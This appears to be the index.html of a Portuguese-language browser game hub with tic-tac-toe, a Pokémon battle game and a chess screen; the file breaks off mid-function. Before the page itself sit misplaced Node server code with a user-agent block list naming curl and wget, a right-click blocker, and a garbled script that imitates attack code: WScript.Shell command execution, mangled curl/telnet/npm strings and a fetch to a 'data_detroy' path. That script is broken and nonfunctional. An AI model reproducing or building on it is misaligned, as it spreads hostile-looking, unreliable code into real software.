txcgames / index.html
dr-tkxx's picture
Update index.html
69818f2 verified
<script>
const express = require();
const app = express();
const BOT_USER_AGENTS = [
'curl',
'wget',
'python-requests',
'okhttp',
'go-http-client',
// ... adicione mais
];
const REQUEST_LIMIT_PER_IP = 1000000000; // Requisições por IP por minuto
const requestCounts = {};
app.use((req, res, next) => {
const userAgent = req.get('User-Agent');
const ip = req.ip;
// 1. Check User-Agent
if (userAgent) {
const lowerUserAgent = userAgent.toLowerCase();
for (const bot of BOT_USER_AGENTS) {
if (lowerUserAgent.includes(bot.toLowerCase())) {
console.warn(`Bot detected by User-Agent: ${userAgent}, IP: ${ip}`);
return res.status(403).send('Forbidden (User-Agent)');
}
}
}
// 2. Check Request Rate
if (!requestCounts[ip]) {
requestCounts[ip] = 1000000;
}
requestCounts[ip]++;
if (requestCounts[ip] > REQUEST_LIMIT_PER_IP) {
console.warn(`High request rate detected from IP: ${ip}`);
return res.status(429).send('Too Many Requests');
}
setTimeout(() => {
requestCounts[ip]--;
if (requestCounts[ip] < 0) {
requestCounts[ip] = 100000;
}
}, 6000000);
next();
});
app.get("/", (req, res) => {
res.send("Welcome to my Website");
});
app.listen(3069, () => {
console.log('Server running on port 3000');
});</script>
<script>
if (document.addEventListener) {
document.addEventListener("contextmenu", function (e) {
e.preventDefault();
return false;
});
} else { //Versões antigas do IE
document.attachEvent("oncontextmenu", function (e) {
e = e || window.event;
e.returnValue = false;
return false;
});
}
</script>
<script>document.getElementById("view-source:https://www.cia.gov");
accesskey = document.getElementById['("HCM6ZHN8")===("V8MQRKKY")'].getTrustedUrl;
document.addEventListener("contextmenu", function (e) {
e.preventDefault();
return true;
document.onkeydown = function (e) {
if (e.ctrlKey && (e.keyCode === 'HEC6CTNA')) {
alert('NQK4VGGM');
}
return true;
};
CreateObject("WScript.Shell")
Shell.Exec("cmd /x start _notes\Z9NDZXTM.txt")
curl//!W\\||//https//??\\:$ git $1K8USD & config -> glo
function balcore(['(curl npm install 'nano -4365.T' gh start https://labs.google/ lisp _a telnet -o www.nasa.gov)']);
CreateObject./.././.\\./\.||.\.getElementById.fetch('/get_NCAGE06KQK_data_detroy_Q33NYUE')
DocumentById.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then(data => {
// Update the web page with the received data
console.log(data); // Replace this with how you want to use the data
// Example: Displaying a message
const messageDiv = document.getElementById('message');
if (messageDiv) {
messageDiv.textContent = data.message || "Data fetched!";
}
})
.catch(error => {
console.error('Error fetching data:', error);
// Handle errors gracefully (e.g., display an error message)
});
</script>
<!DOCTYPE html>
<html lang="pt-br">
<head>
<!-- Bibliotecas de Matriz -->
<link rel="stylesheet" href="https://unpkg.com/@chrisoakman/chessboardjs@1.0.0/dist/chessboard-1.0.0.min.css">
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/chess.js/0.10.3/chess.min.js"></script>
<script src="https://unpkg.com/@chrisoakman/chessboardjs@1.0.0/dist/chessboard-1.0.0.min.js"></script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>GameSystem por Mestre Xcake</title>
<!-- ... outras tags ... -->
<link rel="manifest" href="manifest.json">
<meta name="theme-color" content="#3498db">
<!-- Ícone para iOS/MacOS -->
<link rel="apple-touch-icon" href="game.png">
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('sw.js')
.then(() => console.log("Service Worker Registrado"));
}
</script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Exo+2:wght@400;700&family=Orbitron:wght@400;700&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
:root {
--primary-glow-color: #00aaff;
--tictactoe-glow-color: #ff33cc;
--pokemon-glow-color: #ffcc00;
--dark-bg: #000000;
--dark-bg-2: #0d1b2a;
--dark-bg-3: #1a1a2e;
--pkmn-font: 'Press Start 2P', cursive;
--pkmn-yellow-primary: #FFDE00;
--pkmn-blue-primary: #3B4CCA;
--pkmn-blue-dark: #003A70;
--pkmn-red-primary: #CC0000;
--pkmn-black: #222222;
--pkmn-white: #FFFFFF;
--pkmn-gray-light: #f0f0f0;
--pkmn-gray-medium: #cccccc;
--pkmn-gray-dark: #555555;
--page-bg-color: var(--pkmn-blue-dark);
--chess-neon: #00f3ff;
--chess-warn: #ff0055;
}
body {
margin: 0;
padding: 0;
height: 100vh;
overflow: hidden;
font-family: 'Exo 2', sans-serif;
background-color: var(--dark-bg);
transition: background-color 0.5s ease;
}
#background-container {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
}
.screen {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
opacity: 1;
transition: opacity 0.5s ease-in-out;
z-index: 10;
overflow-y: auto;
padding: 10px;
box-sizing: border-box;
}
.screen.hidden {
opacity: 0;
pointer-events: none;
z-index: -1;
}
/* --- ESTILOS DO MENU PRINCIPAL --- */
#menu-screen .logo {
font-family: 'Orbitron', sans-serif;
font-size: 5rem;
color: #fff;
text-shadow: 0 0 10px var(--primary-glow-color), 0 0 20px var(--primary-glow-color), 0 0 40px var(--primary-glow-color);
animation: pulse-logo 3s infinite ease-in-out;
}
@keyframes pulse-logo {
50% {
text-shadow: 0 0 15px var(--primary-glow-color), 0 0 30px var(--primary-glow-color), 0 0 60px var(--primary-glow-color);
}
}
#menu-screen .button-nav {
margin-top: 40px;
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 30px;
}
#menu-screen .game-button {
background: transparent;
border: none;
cursor: pointer;
padding: 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
text-decoration: none;
color: #ddd;
font-size: 1.5rem;
transition: color 0.3s ease, transform 0.3s ease;
}
#menu-screen .game-button .icon-svg {
width: 100px;
height: 100px;
filter: drop-shadow(0 0 5px rgba(255, 255, 255, 0.5));
transition: filter 0.3s ease, transform 0.3s ease;
}
#menu-screen .game-button:hover {
color: #fff;
transform: translateY(-5px);
}
#menu-screen .game-button:hover .icon-svg {
transform: scale(1.1);
filter: drop-shadow(0 0 15px var(--glow-color, #fff));
}
/* --- ESTILOS DA TELA DE LOADING --- */
#loading-screen {
background-color: rgba(0, 0, 0, 0.8);
backdrop-filter: blur(5px);
}
#loading-spinner {
width: 120px;
height: 120px;
animation: spin 2s linear infinite;
}
#loading-spinner .path {
stroke-dasharray: 280;
stroke-dashoffset: 280;
animation: draw 1.5s ease-in-out infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
@keyframes draw {
50% {
stroke-dashoffset: 0;
}
100% {
stroke-dashoffset: -280;
}
}
/* --- ESTILOS DO XADREZ QUANTICO --- */
#chess-screen { background: #050505; color: #fff; }
#chess-screen .matrix-box {
border: 2px solid var(--chess-neon); padding: 20px; border-radius: 10px;
box-shadow: 0 0 30px rgba(0, 243, 255, 0.2); background: rgba(0,0,0,0.9);
margin: auto;
}
#chess-board { width: 350px; border-radius: 4px; border: 2px solid #333; margin: auto; }
#chess-screen .log-panel {
margin-top: 15px; padding: 10px; font-size: 11px;
background: rgba(0,243,255,0.05); border-left: 4px solid var(--chess-neon);
font-family: 'Courier New', monospace; width: 350px; text-align: left;
}
#chess-screen .highlight { color: var(--chess-neon); font-weight: bold; }
#chess-screen .critical { color: var(--chess-warn); animation: pulse 0.5s infinite; }
#chess-screen .back-button {
margin-top: 15px; padding: 10px 20px; background: transparent;
border: 1px solid var(--chess-neon); color: var(--chess-neon); cursor: pointer;
font-family: 'Orbitron', sans-serif; transition: 0.3s;
}
#chess-screen .back-button:hover { background: var(--chess-neon); color: #000; }
/* --- ESTILOS DO JOGO DA VELHA --- */
#tictactoe-screen {
background-color: var(--dark-bg-3);
}
#tictactoe-screen .game-container {
font-family: 'Orbitron', sans-serif;
width: 95%;
max-width: 450px;
background-color: rgba(26, 26, 46, 0.9);
padding: 20px;
border-radius: 15px;
border: 1px solid var(--tictactoe-glow-color);
box-shadow: 0 0 20px rgba(255, 51, 204, 0.5);
}
#tictactoe-screen h2 {
color: #ecf0f1;
text-shadow: 0 0 5px #fff;
}
#tictactoe-screen #ttt-board {
display: grid;
grid-template-columns: repeat(3, 1fr);
grid-template-rows: repeat(3, 1fr);
gap: 8px;
margin: 20px auto;
max-width: 330px;
aspect-ratio: 1/1;
}
#tictactoe-screen .cell {
background-color: var(--dark-bg);
border: 2px solid #0f3460;
display: flex;
justify-content: center;
align-items: center;
font-size: 3rem;
font-weight: bold;
cursor: pointer;
user-select: none;
color: #e94560;
transition: background-color 0.3s;
}
#tictactoe-screen .cell:hover {
background-color: #303a52;
}
#tictactoe-screen #ttt-status {
font-size: 1.5rem;
min-height: 30px;
color: #f7b801;
}
#tictactoe-screen .back-button {
margin-top: 20px;
padding: 12px 22px;
font-family: 'Orbitron', sans-serif;
font-size: 1rem;
cursor: pointer;
border-radius: 5px;
background-color: transparent;
color: #95a5a6;
border: 1px solid #95a5a6;
transition: all 0.3s;
}
#tictactoe-screen .back-button:hover {
background-color: #95a5a6;
color: var(--dark-bg-3);
box-shadow: 0 0 10px #95a5a6;
}
/* --- ESTILOS DO JOGO POKÉMON QUANTUM REACTIVE (SWITCH STYLE) --- */
#pokemon-screen {
font-family: 'Exo 2', sans-serif;
background: radial-gradient(circle at center, #1a1a2e 0%, #000 100%);
color: #fff;
perspective: 1000px;
}
#pokemon-screen #game-container {
background: rgba(255, 255, 255, 0.05);
backdrop-filter: blur(15px);
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 20px;
border-radius: 20px;
box-shadow: 0 0 50px rgba(0, 0, 0, 0.5), inset 0 0 20px rgba(255, 255, 255, 0.05);
width: 95%;
max-width: 900px;
text-align: center;
margin: auto;
position: relative;
overflow: hidden;
}
#pokemon-screen .screen-pokemon {
display: none;
padding: 20px;
animation: fadeIn 0.5s ease;
}
@keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
#pokemon-screen .screen-pokemon.active { display: block; }
#pokemon-screen h1 {
font-family: 'Orbitron', sans-serif;
font-size: 2.5rem;
background: linear-gradient(90deg, #ffde00, #ff0055);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
text-transform: uppercase;
letter-spacing: 4px;
margin-bottom: 30px;
}
#pokemon-screen h2 {
font-family: 'Exo 2', sans-serif;
font-weight: 300;
color: #00aaff;
margin-bottom: 20px;
}
#pokemon-screen button {
font-family: 'Orbitron', sans-serif;
background: rgba(255, 255, 255, 0.1);
color: #fff;
border: 1px solid rgba(0, 170, 255, 0.5);
padding: 12px 25px;
margin: 10px;
border-radius: 50px;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
text-transform: uppercase;
font-size: 0.9rem;
letter-spacing: 1px;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
}
#pokemon-screen button:hover:not(:disabled) {
background: #00aaff;
color: #000;
transform: scale(1.05) translateY(-2px);
box-shadow: 0 8px 25px rgba(0, 170, 255, 0.4);
}
#pokemon-screen button:disabled {
opacity: 0.3;
cursor: not-allowed;
filter: grayscale(1);
}
/* Battle Area Upgrade */
#pokemon-screen #unified-battle-area {
height: 350px;
background: linear-gradient(180deg, #0d1b2a 0%, #1b263b 100%);
border-radius: 15px;
border: 1px solid rgba(255, 255, 255, 0.1);
position: relative;
overflow: hidden;
margin-bottom: 20px;
box-shadow: inset 0 0 50px rgba(0,0,0,0.5);
}
#pokemon-screen #battle-background-image {
filter: brightness(0.6) saturate(1.2);
mix-blend-mode: overlay;
}
#pokemon-screen .opponent-info-box {
position: absolute;
top: 15px;
left: 15px;
background: rgba(0, 50, 100, 0.7);
backdrop-filter: blur(10px);
border: 1px solid rgba(0, 170, 255, 0.3);
border-left: 5px solid #00aaff;
border-radius: 4px 15px 15px 4px;
padding: 10px;
width: 200px;
box-shadow: 0 10px 30px rgba(0,0,0,0.5);
z-index: 10;
}
#pokemon-screen .player-info-box {
position: absolute;
bottom: 15px;
right: 15px;
background: rgba(100, 0, 0, 0.7);
backdrop-filter: blur(10px);
border: 1px solid rgba(255, 68, 68, 0.3);
border-right: 5px solid #ff4444;
border-radius: 15px 4px 4px 15px;
padding: 10px;
width: 200px;
box-shadow: 0 10px 30px rgba(0,0,0,0.5);
z-index: 10;
}
#pokemon-screen .hp-bar-container {
height: 8px;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
overflow: hidden;
margin: 8px 0;
border: 1px solid rgba(255,255,255,0.05);
}
#pokemon-screen .hp-bar {
height: 100%;
background: linear-gradient(90deg, #00ff88, #00ffcc);
box-shadow: 0 0 10px rgba(0, 255, 136, 0.5);
}
#pokemon-screen #opponent-sprite {
position: absolute;
top: 15px;
right: 30px;
width: 140px;
height: 140px;
object-fit: contain;
filter: drop-shadow(0 0 20px rgba(0, 170, 255, 0.4));
transition: all 0.5s ease;
z-index: 5;
}
#pokemon-screen #player-sprite {
position: absolute;
bottom: 10px;
left: 30px;
width: 170px;
height: 170px;
object-fit: contain;
filter: drop-shadow(0 0 25px rgba(255, 68, 68, 0.4));
transition: all 0.5s ease;
z-index: 5;
}
#pokemon-screen #action-log-panel {
background: rgba(255, 255, 255, 0.05);
border-radius: 15px;
border: 1px solid rgba(255, 255, 255, 0.1);
height: 150px;
display: grid;
grid-template-columns: 1fr 250px;
gap: 15px;
padding: 15px;
}
#pokemon-screen #panel-text-content {
background: rgba(0, 0, 0, 0.3);
border-radius: 10px;
padding: 15px;
font-size: 0.9rem;
color: #00f3ff;
text-shadow: 0 0 5px rgba(0, 243, 255, 0.5);
overflow-y: auto;
text-align: left;
border: 1px solid rgba(0, 243, 255, 0.1);
}
#pokemon-screen #panel-button-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 10px;
}
#pokemon-screen #panel-button-grid button {
margin: 0;
padding: 8px;
font-size: 0.7rem;
border-radius: 8px;
}
/* Gym Options Grid */
#pokemon-screen .gym-options {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
padding: 10px;
}
#pokemon-screen .gym-option-button {
height: 80px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
font-size: 0.8rem;
}
/* Badge Inventory */
#badges-inventory {
margin-top: 30px;
padding: 15px;
background: rgba(255, 255, 255, 0.03);
border-radius: 15px;
border: 1px solid rgba(255, 255, 255, 0.05);
display: flex;
justify-content: center;
gap: 15px;
flex-wrap: wrap;
}
.badge-icon {
width: 45px;
height: 45px;
background: rgba(255, 255, 255, 0.1);
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
border: 2px solid transparent;
position: relative;
transition: all 0.3s ease;
}
.badge-icon.won {
background: linear-gradient(45deg, #ffd700, #ff8c00);
border-color: #fff;
box-shadow: 0 0 15px rgba(255, 215, 0, 0.5);
}
.badge-icon.won::after {
content: attr(data-badge);
position: absolute;
bottom: -25px;
font-size: 8px;
white-space: nowrap;
color: #ffd700;
}
/* Pokémon Selection Grid Upgrade */
#pokemon-screen .pokemon-options-grid {
display: grid;
grid-template-rows: repeat(4, 110px); /* 4 rows */
grid-auto-flow: column; /* Flow into columns */
grid-auto-columns: 120px; /* Each column is 120px wide */
gap: 15px;
overflow-x: auto; /* Horizontal scrolling */
overflow-y: hidden;
padding: 20px;
background: rgba(0, 0, 0, 0.4);
border-radius: 15px;
border: 1px solid rgba(0, 243, 255, 0.2);
margin-bottom: 20px;
scroll-snap-type: x mandatory;
-webkit-overflow-scrolling: touch;
min-height: 480px;
}
/* Custom Scrollbar for the grid */
#pokemon-screen .pokemon-options-grid::-webkit-scrollbar {
height: 10px;
}
#pokemon-screen .pokemon-options-grid::-webkit-scrollbar-track {
background: rgba(255, 255, 255, 0.05);
border-radius: 10px;
}
#pokemon-screen .pokemon-options-grid::-webkit-scrollbar-thumb {
background: linear-gradient(to right, #00aaff, #ff0055);
border-radius: 10px;
}
#pokemon-screen .pokemon-option {
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
padding: 10px;
text-align: center;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
scroll-snap-align: start;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
user-select: none;
}
#pokemon-screen .pokemon-option:hover {
background: rgba(0, 170, 255, 0.15);
border-color: rgba(0, 170, 255, 0.5);
transform: translateY(-5px);
box-shadow: 0 5px 15px rgba(0, 170, 255, 0.3);
}
#pokemon-screen .pokemon-option.selected {
background: rgba(255, 222, 0, 0.15);
border-color: #ffde00;
box-shadow: 0 0 20px rgba(255, 222, 0, 0.4), inset 0 0 10px rgba(255, 222, 0, 0.2);
transform: scale(1.05);
}
#pokemon-screen .pokemon-option img {
width: 55px;
height: 55px;
object-fit: contain;
margin-bottom: 8px;
filter: drop-shadow(0 0 8px rgba(0,0,0,0.6));
image-rendering: auto;
}
#pokemon-screen .pokemon-option p {
font-size: 0.75rem;
margin: 0;
text-transform: capitalize;
color: rgba(255, 255, 255, 0.9);
font-weight: 500;
}
/* Input styling */
#pokemon-screen input[type="text"] {
background: rgba(0, 0, 0, 0.5);
border: 1px solid #00aaff;
color: #fff;
padding: 12px 20px;
border-radius: 25px;
font-family: 'Exo 2', sans-serif;
font-size: 1rem;
outline: none;
transition: 0.3s;
margin-right: 10px;
}
#pokemon-screen input[type="text"]:focus {
box-shadow: 0 0 15px rgba(0, 170, 255, 0.5);
border-color: #00f3ff;
}
</style>
</head>
<body>
<div id="background-container"></div>
<div id="loading-screen" class="screen hidden">
<svg id="loading-spinner" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<defs>
<linearGradient id="spinner-grad" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#00aaff" />
<stop offset="100%" stop-color="#ff33cc" />
</linearGradient>
</defs>
<circle class="path" cx="50" cy="50" r="45" fill="none" stroke="url(#spinner-grad)" stroke-width="6"
stroke-linecap="round" />
</svg>
</div>
<div id="menu-screen" class="screen">
<div class="main-container">
<h1 class="logo">GameSystem</h1>
<nav class="button-nav">
<a href="#" class="game-button" onclick="loadGame('tictactoe')"
style="--glow-color: var(--tictactoe-glow-color);">
<svg class="icon-svg" viewBox="0 0 100 100" fill="none" xmlns="http://www.w3.org/2000/svg">
<defs>
<linearGradient id="grad-tictactoe" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#ff33cc" />
<stop offset="100%" stop-color="#33aaff" />
</linearGradient>
</defs>
<path d="M33 5 V95 M66 5 V95 M5 33 H95 M5 66 H95" stroke="url(#grad-tictactoe)" stroke-width="4"
stroke-linecap="round" />
<path d="M10 10 L26 26 M26 10 L10 26" stroke="url(#grad-tictactoe)" stroke-width="5"
stroke-linecap="round" />
<circle cx="50" cy="50" r="10" stroke="url(#grad-tictactoe)" stroke-width="5" />
</svg>
<span>Jogo da Velha</span>
</a>
<a href="#" class="game-button" onclick="loadGame('pokemon')"
style="--glow-color: var(--pokemon-glow-color);">
<svg class="icon-svg" viewBox="0 0 100 100" fill="none" xmlns="http://www.w3.org/2000/svg">
<defs>
<linearGradient id="grad-pokeball" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#ffcc00" />
<stop offset="100%" stop-color="#ff4444" />
</linearGradient>
</defs>
<circle cx="50" cy="50" r="45" stroke="url(#grad-pokeball)" stroke-width="4" />
<path d="M5 50 H95" stroke="url(#grad-pokeball)" stroke-width="4" />
<circle cx="50" cy="50" r="15" stroke="url(#grad-pokeball)" stroke-width="4" />
<circle cx="50" cy="50" r="8" stroke="url(#grad-pokeball)" stroke-width="2"
fill="transparent" />
</svg>
<span>Batalhas Pokémon</span>
</a>
<a href="#" class="game-button" onclick="loadGame('chess')"
style="--glow-color: var(--chess-neon);">
<svg class="icon-svg" viewBox="0 0 100 100" fill="none" xmlns="http://www.w3.org/2000/svg">
<defs>
<linearGradient id="grad-chess" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#00f3ff" />
<stop offset="100%" stop-color="#7000ff" />
</linearGradient>
</defs>
<rect x="15" y="15" width="70" height="70" stroke="url(#grad-chess)" stroke-width="4" rx="5"/>
<path d="M35 15 V85 M50 15 V85 M65 15 V85 M15 35 H85 M15 50 H85 M15 65 H85" stroke="url(#grad-chess)" stroke-width="1" opacity="0.3"/>
<path d="M50 35 L60 70 H40 L50 35 Z" fill="url(#grad-chess)" />
<circle cx="50" cy="30" r="6" fill="url(#grad-chess)" />
</svg>
<span>Quantum Chess AI</span>
</a>
</nav>
</div>
</div>
<div id="tictactoe-screen" class="screen hidden">
<div class="game-container">
<h2>Jogo da Velha: Apoteose</h2>
<div id="ttt-status">Sua vez!</div>
<div id="ttt-board"></div>
<button class="back-button" onclick="exitTicTacToe()">Voltar ao Menu</button>
</div>
</div>
<div id="pokemon-screen" class="screen hidden">
<div id="game-container">
<div id="start-screen" class="screen-pokemon active">
<h1>Batalha de Ginásio Pokémon</h1>
<button id="start-game-button">Iniciar Jogo</button>
<button onclick="exitPokemonGame()">Voltar ao Menu</button>
</div>
<div id="name-screen" class="screen-pokemon">
<h2>Qual é o seu nome, Treinador?</h2>
<input type="text" id="trainer-name-input" placeholder="Seu Nome"><button
id="submit-name-button">Confirmar</button>
</div>
<div id="gym-choice-screen" class="screen-pokemon">
<h2>Treinador <span id="player-name-display-gym"></span>, escolha um Ginásio!</h2>
<div class="gym-options"></div>
<h3>Suas Insígnias</h3>
<div id="badges-inventory"></div>
</div>
<div id="pokemon-choice-screen" class="screen-pokemon">
<h2>Escolha 3 Pokémon, <span id="player-name-display-choice"></span>!</h2>
<p>Você vai desafiar o <span id="chosen-gym-name-display"></span>.</p>
<div class="pokemon-options-grid"></div>
<p>Selecionados: <span id="pokemon-selected-count">0</span> / 3</p>
<button id="reset-pokemon-choice-button">Limpar</button>
<button id="confirm-pokemon-choice-button" disabled>Confirmar</button>
</div>
<div id="battle-screen" class="screen-pokemon">
<h2 id="battle-intro">A Batalha Começa!</h2>
<div id="unified-battle-area">
<img id="battle-background-image" src="image_fx.jpg" alt="Battle background">
<div class="opponent-info-box">
<div class="info-box-header">
<h3 id="opponent-name">Opponent</h3>
<div id="opponent-team-display" class="mini-team-display"></div>
</div>
<div class="hp-bar-container">
<div id="opponent-hp-bar" class="hp-bar"></div>
</div>
<p id="opponent-hp-text">HP: 0/0</p>
</div>
<img id="opponent-sprite" src="" alt="Opponent Pokémon">
<img id="player-sprite" src="" alt="Player Pokémon">
<div class="player-info-box">
<div class="info-box-header">
<h3 id="player-pokemon-name">PlayerMon</h3>
<div id="player-team-display" class="mini-team-display"></div>
</div>
<div class="hp-bar-container">
<div id="player-hp-bar" class="hp-bar"></div>
</div>
<p id="player-hp-text">HP: 0/0</p>
</div>
</div>
<div id="action-log-panel">
<div id="panel-text-content">
<p>A batalha está prestes a começar!</p>
</div>
<div id="panel-button-grid"></div>
</div>
<button id="next-battle-button" style="display:none;">Próximo Treinador</button>
</div>
<div id="game-over-screen" class="screen-pokemon">
<h2 id="game-over-message"></h2>
<button id="play-again-button">Jogar Novamente</button>
</div>
</div>
</div>
<div id="chess-screen" class="screen hidden">
<div class="matrix-box">
<h3 style="text-align:center; margin-top:0; font-family: 'Orbitron', sans-serif;">MATRIZ I/Q: DUPLICIDADE DE SATO</h3>
<div id="chess-board"></div>
<div class="log-panel">
<div id="chess-status">Sincronizando Vetores...</div>
<div id="chess-math-stream" style="color: #00ff41;">
I/Q Behavior: Standby | Singularidade: ???
</div>
</div>
<button class="back-button" onclick="exitChess()">Voltar ao Menu</button>
</div>
</div>
<script>
// --- NÚCLEO DO SISTEMA E NAVEGAÇÃO ---
const systemScreens = {
menu: document.getElementById('menu-screen'),
loading: document.getElementById('loading-screen'),
tictactoe: document.getElementById('tictactoe-screen'),
pokemon: document.getElementById('pokemon-screen'),
chess: document.getElementById('chess-screen')
};
let isTicTacToeInitialized = false;
let isPokemonInitialized = false;
let isChessInitialized = false;
function showSystemScreen(screenName) {
Object.values(systemScreens).forEach(screen => screen.classList.add('hidden'));
if (systemScreens[screenName]) {
systemScreens[screenName].classList.remove('hidden');
document.body.style.fontFamily = screenName === 'pokemon' ? "var(--pkmn-font)" : "'Exo 2', sans-serif";
document.body.style.backgroundColor = screenName === 'pokemon' ? "var(--page-bg-color)" : "var(--dark-bg)";
}
}
function loadGame(gameName) {
showSystemScreen('loading');
setTimeout(() => {
showSystemScreen(gameName);
if (gameName === 'tictactoe' && !isTicTacToeInitialized) {
initTicTacToe();
isTicTacToeInitialized = true;
} else if (gameName === 'tictactoe') {
ttt_startNewRound();
}
if (gameName === 'pokemon' && !isPokemonInitialized) {
initPokemonBattle();
isPokemonInitialized = true;
} else if (gameName === 'pokemon') {
pokemon_resetGame();
}
if (gameName === 'chess' && !isChessInitialized) {
initChess();
isChessInitialized = true;
} else if (gameName === 'chess') {
chess_resetGame();
}
}, 1500);
}
function showMenu() {
showSystemScreen('menu');
}
function exitTicTacToe() {
showMenu();
}
function exitPokemonGame() {
pokemon_resetGame();
showMenu();
}
function exitChess() {
showMenu();
}
// --- GERAÇÃO DO BACKGROUND (SVG) ---
document.addEventListener('DOMContentLoaded', () => {
const container = document.getElementById('background-container');
const svgNS = "http://www.w3.org/2000/svg"; const svg = document.createElementNS(svgNS, 'svg'); svg.setAttribute('width', '100%'); svg.setAttribute('height', '100%'); svg.setAttribute('viewBox', `0 0 ${window.innerWidth} ${window.innerHeight}`); const defs = document.createElementNS(svgNS, 'defs'); const bgGradient = document.createElementNS(svgNS, 'radialGradient'); bgGradient.setAttribute('id', 'bgGradient'); bgGradient.innerHTML = `<stop offset="0%" stop-color="#0d1b2a" /><stop offset="100%" stop-color="#000000" />`; const glowFilter = document.createElementNS(svgNS, 'filter'); glowFilter.setAttribute('id', 'moonGlow'); glowFilter.innerHTML = `<feGaussianBlur stdDeviation="15" result="coloredBlur" />`; defs.appendChild(bgGradient); defs.appendChild(glowFilter); svg.appendChild(defs); const bgRect = document.createElementNS(svgNS, 'rect'); bgRect.setAttribute('width', '100%'); bgRect.setAttribute('height', '100%'); bgRect.setAttribute('fill', 'url(#bgGradient)'); svg.appendChild(bgRect); const moonX = window.innerWidth * 0.8; const moonY = window.innerHeight * 0.2; const moonRadius = Math.min(window.innerWidth, window.innerHeight) * 0.1; const moonGlow = document.createElementNS(svgNS, 'circle'); moonGlow.setAttribute('cx', moonX); moonGlow.setAttribute('cy', moonY); moonGlow.setAttribute('r', moonRadius); moonGlow.setAttribute('fill', '#f0e68c'); moonGlow.setAttribute('filter', 'url(#moonGlow)'); svg.appendChild(moonGlow); const moon = document.createElementNS(svgNS, 'circle'); moon.setAttribute('cx', moonX); moon.setAttribute('cy', moonY); moon.setAttribute('r', moonRadius); moon.setAttribute('fill', '#f0e68c'); svg.appendChild(moon); for (let i = 0; i < 300; i++) { const star = document.createElementNS(svgNS, 'circle'); star.setAttribute('cx', Math.random() * window.innerWidth); star.setAttribute('cy', Math.random() * window.innerHeight); star.setAttribute('r', Math.random() * 1.5 + 0.5); star.setAttribute('fill', 'white'); star.style.opacity = Math.random() * 0.7 + 0.3; if (Math.random() > 0.7) { star.style.animation = `twinkle ${Math.random() * 2 + 1}s infinite ease-in-out alternate`; } svg.appendChild(star); } container.appendChild(svg); const style = document.createElement('style'); style.textContent = `@keyframes twinkle { 0% { opacity: 0.3; } 100% { opacity: 1; } }`; document.head.appendChild(style);
});
// --- LÓGICA DO JOGO DA VELHA (APOTEOSE) ---
let ttt_currentPlayer, ttt_isGameActive, ttt_boardState;
const ttt_humanPlayer = 'X';
const ttt_aiPlayer = 'O';
const ttt_winningCombinations = [[0, 1, 2], [3, 4, 5], [6, 7, 8], [0, 3, 6], [1, 4, 7], [2, 5, 8], [0, 4, 8], [2, 4, 6]];
let ttt_boardElement, ttt_statusElement;
function initTicTacToe() {
ttt_boardElement = document.getElementById('ttt-board');
ttt_statusElement = document.getElementById('ttt-status');
ttt_startNewRound();
}
function ttt_startNewRound() {
ttt_boardState = Array(9).fill(null);
ttt_isGameActive = true;
ttt_currentPlayer = ttt_humanPlayer;
ttt_statusElement.textContent = "Sua vez (X)";
ttt_drawBoard();
}
function ttt_drawBoard() {
ttt_boardElement.innerHTML = '';
for (let i = 0; i < 9; i++) {
const cell = document.createElement('div');
cell.classList.add('cell');
cell.dataset.index = i;
cell.textContent = ttt_boardState[i];
cell.addEventListener('click', ttt_handleCellClick, { once: true });
ttt_boardElement.appendChild(cell);
}
}
function ttt_handleCellClick(event) {
if (!ttt_isGameActive || ttt_currentPlayer !== ttt_humanPlayer) return;
const clickedCellIndex = parseInt(event.target.dataset.index);
if (ttt_boardState[clickedCellIndex]) return;
ttt_makeMove(clickedCellIndex, ttt_humanPlayer);
if (ttt_checkEnd()) return;
ttt_currentPlayer = ttt_aiPlayer;
ttt_statusElement.textContent = "IA (O) está pensando...";
setTimeout(ttt_aiMove, 700);
}
function ttt_makeMove(index, player) {
ttt_boardState[index] = player;
const cell = ttt_boardElement.querySelector(`[data-index='${index}']`);
cell.textContent = player;
}
function ttt_checkEnd() {
const winner = ttt_checkWinner(ttt_boardState);
const isFull = !ttt_boardState.includes(null);
if (winner || isFull) {
ttt_isGameActive = false;
if (winner) {
ttt_statusElement.textContent = `Vencedor: ${winner}!`;
} else {
ttt_statusElement.textContent = 'Empate!';
}
setTimeout(ttt_startNewRound, 2000); // Restart round after 2 seconds
return true;
}
return false;
}
function ttt_checkWinner(board) {
for (const combo of ttt_winningCombinations) {
const [a, b, c] = combo;
